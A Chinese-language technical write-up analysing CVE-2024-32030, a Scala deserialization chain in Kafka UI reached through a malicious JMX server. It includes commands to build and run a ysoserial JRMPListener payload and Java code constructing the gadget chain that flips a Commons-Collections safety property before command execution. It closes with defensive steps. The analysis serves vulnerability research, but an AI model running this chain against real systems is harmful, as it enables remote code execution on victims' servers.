CVE-2024-32030 Scala反序列化链分析
字数 1304 2025-08-24 16:48:07
Scala反序列化链分析:CVE-2024-32030漏洞研究
漏洞概述
CVE-2024-32030是Kafka UI中存在的一个安全漏洞,涉及Scala反序列化链的利用。Kafka UI是Apache Kafka管理的开源Web UI,其API允许用户通过指定网络地址和端口连接到不同的Kafka brokers。该漏洞特别影响Kafka UI中通过JMX端口监控Kafka brokers性能的功能。
漏洞原理
该漏洞的核心在于:
- Kafka UI提供了通过JMX端口监控Kafka代理性能的功能
- JMX基于RMI协议,容易受到反序列化攻击
- 系统中存在Commons-Collections-3.2.2依赖
- Commons-Collections-3.2.2增加了安全检查,要求系统属性"org.apache.commons.collections.enableUnsafeSerialization"为true才能反序列化
攻击者可以部署恶意JMX服务器,当Kafka UI连接时会触发反序列化,首先利用Scala链修改系统属性,然后利用CC链实现命令执行。
环境搭建
1. 设置恶意JMX监听器
git clone https://github.com/artsploit/ysoserial/
cd ysoserial && git checkout scala1
mvn package -D skipTests = true # 确保使用Java 8编译
java -cp target/ysoserial-0.0.6-SNAPSHOT-all.jar ysoserial.exploit.JRMPListener 1718 Scala1 "org.apache.commons.collections.enableUnsafeSerialization:true"
2. 下载Kafka UI测试环境
https://codeload.github.com/provectus/kafka-ui/zip/refs/tags/v0.7.1
3. 测试代码示例
package com.provectus.kafka.ui;
import javax.management.remote.JMXConnector;
import javax.management.remote.JMXConnectorFactory;
import javax.management.remote.JMXServiceURL;
public class jmxdemo {
public static void main(String[] args) throws Exception {
System.out.println("Before:" + System.getProperty("org.apache.commons.collections.enableUnsafeSerialization"));
String jmxUrl = "service:jmx:rmi:///jndi/rmi://192.168.85.129:1718/jmxrmi";
JMXConnector connector = null;
try {
connector = JMXConnectorFactory.newJMXConnector(new JMXServiceURL(jmxUrl), null);
connector.connect();
} catch (Exception e) {
e.printStackTrace();
}
System.out.println("After:" + System.getProperty("org.apache.commons.collections.enableUnsafeSerialization"));
}
}
技术分析
Lambda表达式基础
Lambda表达式是Java 8引入的特性,用于创建匿名函数。示例:
BiFunction<Integer, Integer, Integer> runnable2 = (a, b) -> a * b;
int result2 = runnable2.apply(3, 4); // 输出: 12
SerializedLambda类
SerializedLambda类用于Lambda表达式的序列化和反序列化,存储Lambda的元数据:
SerializedLambda serializedLambda = serializeLambda(runnable2);
System.out.println("Capturing class: " + serializedLambda.getCapturingClass());
System.out.println("Functional interface class: " + serializedLambda.getFunctionalInterfaceClass());
// 其他元数据...
漏洞利用链分析
完整的利用链如下:
ConcurrentSkipListMap#readObject()ConcurrentSkipListMap#cpr()ConcurrentSkipListMap#compare()Iterator#next()SystemProperties#addOne()System#setProperty()Properties#setProperty()Properties#put()ConCurrentHashMap#put()ConcurrentHashMap#putVal()
关键利用代码
// 1. 初始化ConcurrentSkipListMap
ConcurrentSkipListMap map = new ConcurrentSkipListMap((o1, o2) -> 1);
map.put(view, 1);
map.put(view, 2);
// 2. 修改comparator为iterableOrdering
Field f = map.getClass().getDeclaredField("comparator");
f.setAccessible(true);
f.set(map, iterableOrdering);
// 3. 创建View.Fill实例
Class<?> clazz = Class.forName("scala.collection.View$Fill");
Constructor<?> ctor = clazz.getConstructor(int.class, scala.Function0.class);
Object view = ctor.newInstance(1, createFuncFromSerializedLambda(lambdaSetSystemProperty));
// 4. 创建SerializedLambda
Tuple2<String, String> prop = new scala.Tuple2<>("org.apache.commons.collections.enableUnsafeSerialization", "true");
SerializedLambda lambdaSetSystemProperty = new SerializedLambda(
scala.sys.SystemProperties.class,
"scala/Function0",
"apply",
"()Ljava/lang/Object;",
MethodHandleInfo.REF_invokeStatic,
"scala.sys.SystemProperties",
"$anonfun$addOne$1",
"(Lscala/Tuple2;)Ljava/lang/String;",
"()Lscala/sys/SystemProperties;",
new Object[]{prop}
);
反序列化过程
- 反序列化时首先调用
ConcurrentSkipListMap#readObject() - 需要
map.put()执行两次,使prevkey不为null才能调用cpr() cpr()调用compare()方法,参数是iterableOrdering对象- 最终调用
SystemProperties#addOne()修改系统属性
属性修改过程
Function0<String> lambdaSetSystemProperty = () -> {
SystemProperties properties = new SystemProperties();
properties.addOne(prop); // 修改系统属性
return prop._2;
};
addOne()最终调用Unsafe.compareAndSetReference()方法修改系统属性值。
防御措施
- 升级Kafka UI到安全版本
- 限制JMX端口的访问
- 移除不必要的依赖(如Commons-Collections)
- 使用安全管理器限制敏感操作